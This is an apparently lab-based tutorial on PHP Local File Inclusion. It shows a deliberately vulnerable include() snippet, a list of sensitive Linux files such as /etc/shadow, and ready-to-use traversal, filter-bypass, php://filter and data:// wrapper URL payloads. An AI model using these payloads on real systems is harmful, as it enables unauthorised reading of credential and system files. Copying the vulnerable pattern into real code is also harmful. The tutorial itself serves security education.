Local File Inclusion (LFI)

Php Functions which causes LFI

In the PHP, the following functions cause this kind of vulnerability:

• include

• require

• include_once

• require_once

---

Identifying and testing for LFI

Usually, attackers are interested in HTTP parameters to manipulate the input and inject attack payloads to see how the web application behaves. In general, if you are looking for an entry point to test web application attack types, then it is important to use the web app and check its functionalities. An entry point could be HTTP GET or POST parameters that pass an argument or data to the web application to perform a specific operation.

Once you find an entry point, we need to understand how this data could be processed within the application. After this point, you can start testing for certain vulnerability types using manual or automated tools. The following is an example of PHP code that is vulnerable to LFI.

<?PHP
	include($_GET["file"]);
?>

For example, if the website is tryhackme.com then a parameter in the URL can look like https://tryhackme.com/?file=robots.txt. Here file is the name of the parameter and robots.txt is the value that we are passing (include the file robots.txt).

In addition, other entry points can be used depending on the web application, and where can consider the User-Agent, Cookies, session, and other HTTP headers.

---

Linux system files that have sensitive information.

• /etc/issue

• /etc/passwd

• /etc/shadow

• /etc/group

• /etc/hosts

• /etc/motd

• /etc/mysql/my.cnf

• /proc/[0-9]/fd/[0-9] (first number is the PID, second is the filedescriptor)

• /proc/self/environ

• /proc/version

• /proc/cmdline

---

LFI Techniques

The most common technique is path traversal method meaning we can include files like ../../../../etc/passwd what this does it get out of a directory like we usually do in Linux system by running cd ../

We can also try to include using different techniques such as

• A direct file inclusion, which starts with /etc/passwd

• using .. to get out the current directory, the number of .. is varies depending on the web app directory.

• Bypassing filters using ....//.

• URL encoding techniques (such as double encoding)

Example

• http://example.thm.labs/page.php?file=/etc/passwd

• http://example.thm.labs/page.php?file=../../../../../../etc/passwd

• http://example.thm.labs/page.php?file=../../../../../../etc/passwd%00

• http://example.thm.labs/page.php?file=....//....//....//....//etc/passwd

• http://example.thm.labs/page.php?file=%252e%252e%252fetc%252fpasswd

---

PHP Filter

The PHP filter wrapper is used in LFI to read the actual PHP page content. In typical cases, it is not possible to read a PHP file's content via LFI because PHP files get executed and never show the existing code. However, we can use the PHP filter to display the content of PHP files in other encoding formats such as base64 or ROT13.

Let's try first reading the /etc/passwd file using the PHP filter wrapper.

• http://example.thm.labs/page.php?file=php://filter/resource=/etc/passwd

Now try to read the index.php file using a PHP filter; we get errors because the web server tries to execute the PHP code. To avoid this, we can use a PHP filter while base64 or ROT13 encoding the output as follows:

• http://example.thm.labs/page.php?file=filter/read=string.rot13/resource=/etc/passwd

• http://example.thm.labs/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

We will try to use base64 for our scenario. As a result, we will get base64 encoded output as follows:

cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDox******Deleted

Decode the output to get plain text.

---

PHP Wrapper

The PHP wrapper is used to include raw plain text or base64 encoded data. It is used to include images on the current page. It is being used in LFI exploit.

Let's try to base64 encode "AoC3 is fun!" text to include it into the page using wrapper data:

user@machine$ echo "AoC3 is fun!" | base64 QW9DMyBpcyBmdW4hCg==

Also, we could decode a base64 as follows:

user@machine$ echo "QW9DMyBpcyBmdW4hCg==" | base64 --decode AoC3 is fun!

Now we can include our base64 data into the vulnerable page as follows,

http://example.thm.labs/page.php?file=data://text/plain;base64,QW9DMyBpcyBmdW4hCg==

As a result, the page will show our lovely message, which is AoC3 is fun!. Using this technique, we can include PHP code into a page, by encoding the required PHP code and including it into PHP data wrapper.

---